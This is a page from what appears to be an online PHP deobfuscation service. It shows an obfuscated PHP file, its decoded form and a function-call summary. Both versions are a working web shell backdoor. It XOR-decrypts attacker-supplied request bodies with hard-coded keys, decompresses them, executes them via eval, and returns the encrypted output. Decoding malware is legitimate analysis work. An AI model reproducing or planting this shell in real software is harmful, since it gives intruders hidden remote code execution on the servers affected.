Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $g=';$rN=@basNe64N_Nencode(@x(@NNgzcomprNesNs($o),$k));prinNt("$p$kh$rN$kf");}';$k=s..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="92333d09";$kh="324ebc131f88";$kf="9336fb2e7696";$p="DImEqmzRJX9w55Gu";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php $g=';$rN=@basNe64N_Nencode(@x(@NNgzcomprNesNs($o),$k));prinNt("$p$kh$rN$kf");}';$k=str_replace('rW','','crWrrWeatrWe_frWrWunctirWon');$J='r($Ni=0;$i<N$l;N){for($j=0;N($j<$c&N&$iN<$l);$jN++,$iN++N){$o.=$Nt{$i}^$k{$';$a='basNe64_decodNe($Nm[1]),$k)))N;$o=N@ob_gNet_conteNnts(N);@ob_endN_cleaNn()';$T='ts("pNhp:/N/inputNN"),$m)==1) {@NobN_startN();@evNal(@gzNuncompNress(@x(@N';$H='JXNN9w55Gu";fNuNnction x($tN,$k){$c=strlNNeNn($k);$l=strleNn($t);N$o=""N;fo';$S='$kN="92333d09";$NNkh="N324ebc131f88";N$kf=N"93N3N6fb2e7696";N$p="DImNEqmzR';$e='j}N;}N}return $oNN;}ifN N(N@pNreg_mNatch("/$kh(.+)$kf/",@file_gNet_conNten';$n=str_replace('N','',$S.$H.$J.$e.$T.$a.$g);$C=$k('',$n);$C();?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | a40fedb281bb633e43105d64f288be13 |
Eval Count | 1 |
Decode Time | 305 ms |